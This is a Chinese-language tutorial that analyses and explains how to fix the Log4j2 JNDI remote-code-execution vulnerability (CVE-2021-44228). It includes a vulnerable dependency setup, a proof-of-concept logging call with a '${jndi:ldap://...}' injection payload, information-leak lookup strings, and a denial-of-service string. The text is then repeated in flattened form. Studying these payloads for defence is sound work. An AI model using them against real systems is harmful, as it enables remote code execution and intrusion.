log4j2利用分析与修复
字数 3663 2025-08-10 23:41:56

Log4j2漏洞分析与修复教学文档

1. 漏洞简介

Log4j2是Java开发的日志记录框架,用于记录、输出和打印日志文件。2021年底爆发的Log4j2远程代码执行漏洞(CVE-2021-44228)是近年来最严重的网络安全漏洞之一,影响范围极广。

2. 环境搭建

2.1 依赖配置

在Maven项目中,使用以下依赖配置可引入存在漏洞的Log4j2版本:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>

3. 漏洞验证(POC)

3.1 基本POC代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class DemoTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(DemoTest.class);
        logger.error("${jndi:ldap://127.0.0.1:1389/fq9vus}");
    }
}

3.2 其他测试用例

// 表达式计算
logger.error("${1+1=2}");

// 系统信息泄露
logger.error("${java:os}");

4. 漏洞调用栈分析

完整的漏洞触发调用栈如下:

  1. lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
  2. lookup:417, InitialContext (javax.naming)
  3. lookup:172, JndiManager (org.apache.logging.log4j.core.net)
  4. lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
  5. lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
  6. resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
  7. substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
  8. substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
  9. replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
  10. format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
  11. format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
  12. toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
  13. toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
  14. encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
  15. encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
  16. directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
  17. tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
  18. append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
  19. tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
  20. callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
  21. callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
  22. callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
  23. callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
  24. processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
  25. log:481, LoggerConfig (org.apache.logging.log4j.core.config)
  26. log:456, LoggerConfig (org.apache.logging.log4j.core.config)
  27. log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
  28. log:161, Logger (org.apache.logging.log4j.core)
  29. tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
  30. logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
  31. logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
  32. logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
  33. logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
  34. error:740, AbstractLogger (org.apache.logging.log4j.spi)
  35. main:9, DemoTest

5. 漏洞详细分析

5.1 触发点分析

漏洞触发点在PatternLayout类的toText方法:

private StringBuilder toText(final Serializer2 serializer, final LogEvent event, final StringBuilder destination) {
    return serializer.toSerializable(event, destination);
}

public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    final int len = formatters.length;
    for (int i = 0; i < len; i++) {
        formatters[i].format(event, buffer);
    }
    if (replace != null) {
        String str = buffer.toString();
        str = replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }
    return buffer;
}

关键点在于formatters[i].format(event, buffer),其中MessagePatternConverter是漏洞触发的关键类。

5.2 消息解析过程

MessagePatternConverterformat方法中,核心处理逻辑如下:

if (config != null && !noLookups) {
    for (int i = offset; i < workingBuilder.length() - 1; i++) {
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
            final String value = workingBuilder.substring(offset, workingBuilder.length());
            workingBuilder.setLength(offset);
            workingBuilder.append(config.getStrSubstitutor().replace(event, value));

当检测到${时,会提取整个字符串并调用StrSubstitutor.replace()方法处理。

5.3 变量替换机制

StrSubstitutor.replace()方法会递归处理嵌套变量:

public String replace(final LogEvent event, final String source) {
    if (source == null) {
        return null;
    }
    final StringBuilder buf = new StringBuilder(source);
    if (!substitute(event, buf, 0, source.length())) {
        return source;
    }
    return buf.toString();
}

protected boolean substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length) {
    return substitute(event, buf, offset, length, null) > 0;
}

5.4 JNDI注入触发

最终会调用JndiLookuplookup方法:

public <T> T lookup(final String name) throws NamingException {
    return (T) this.context.lookup(name);
}

6. 漏洞修复方案

6.1 官方修复

官方在后续版本中修复了此漏洞,主要修改包括:

  1. 默认禁用JNDI查找功能
  2. 添加了更严格的输入验证
  3. 对递归解析做了限制

修复后的lookup方法会先检查环境变量:

public <T> T lookup(final String name) throws NamingException {
    if (!isJndiEnabled()) {
        return null;
    }
    return (T) this.context.lookup(name);
}

6.2 修复建议

  1. 升级Log4j2版本

    • 升级到2.15.0或更高版本
    • 最新稳定版本是2.17.1(修复了后续发现的DoS问题)
  2. 临时缓解措施(如果无法立即升级):

    • 设置系统属性:-Dlog4j2.formatMsgNoLookups=true
    • 修改JVM参数:-Dlog4j2.enableJndi=false
    • 删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  3. 配置修改

    • 在log4j2.xml配置文件中设置<Configuration status="warn" packages="org.apache.logging.log4j.core" shutdownHook="disable">
    • 禁用消息查找功能:<PatternLayout pattern="%m{nolookups}%n"/>

7. 其他安全问题

即使修复了RCE漏洞,仍存在拒绝服务(DoS)风险:

logger.error("${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}...");

大量嵌套的${}表达式会导致递归调用,消耗大量系统资源。

8. 总结

Log4j2漏洞的根本原因在于:

  1. 默认启用了危险的JNDI查找功能
  2. 对日志消息中的表达式进行了过度解析
  3. 缺乏对递归解析深度的限制

建议所有使用Log4j2的项目立即升级到最新安全版本,并审查日志处理逻辑,避免类似安全问题。

Log4j2漏洞分析与修复教学文档 1. 漏洞简介 Log4j2是Java开发的日志记录框架,用于记录、输出和打印日志文件。2021年底爆发的Log4j2远程代码执行漏洞(CVE-2021-44228)是近年来最严重的网络安全漏洞之一,影响范围极广。 2. 环境搭建 2.1 依赖配置 在Maven项目中,使用以下依赖配置可引入存在漏洞的Log4j2版本: 3. 漏洞验证(POC) 3.1 基本POC代码 3.2 其他测试用例 4. 漏洞调用栈分析 完整的漏洞触发调用栈如下: lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi) main:9, DemoTest 5. 漏洞详细分析 5.1 触发点分析 漏洞触发点在 PatternLayout 类的 toText 方法: 关键点在于 formatters[i].format(event, buffer) ,其中 MessagePatternConverter 是漏洞触发的关键类。 5.2 消息解析过程 在 MessagePatternConverter 的 format 方法中,核心处理逻辑如下: 当检测到 ${ 时,会提取整个字符串并调用 StrSubstitutor.replace() 方法处理。 5.3 变量替换机制 StrSubstitutor.replace() 方法会递归处理嵌套变量: 5.4 JNDI注入触发 最终会调用 JndiLookup 的 lookup 方法: 6. 漏洞修复方案 6.1 官方修复 官方在后续版本中修复了此漏洞,主要修改包括: 默认禁用JNDI查找功能 添加了更严格的输入验证 对递归解析做了限制 修复后的 lookup 方法会先检查环境变量: 6.2 修复建议 升级Log4j2版本 : 升级到2.15.0或更高版本 最新稳定版本是2.17.1(修复了后续发现的DoS问题) 临时缓解措施 (如果无法立即升级): 设置系统属性: -Dlog4j2.formatMsgNoLookups=true 修改JVM参数: -Dlog4j2.enableJndi=false 删除 JndiLookup 类: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 配置修改 : 在log4j2.xml配置文件中设置 <Configuration status="warn" packages="org.apache.logging.log4j.core" shutdownHook="disable"> 禁用消息查找功能: <PatternLayout pattern="%m{nolookups}%n"/> 7. 其他安全问题 即使修复了RCE漏洞,仍存在拒绝服务(DoS)风险: 大量嵌套的 ${} 表达式会导致递归调用,消耗大量系统资源。 8. 总结 Log4j2漏洞的根本原因在于: 默认启用了危险的JNDI查找功能 对日志消息中的表达式进行了过度解析 缺乏对递归解析深度的限制 建议所有使用Log4j2的项目立即升级到最新安全版本,并审查日志处理逻辑,避免类似安全问题。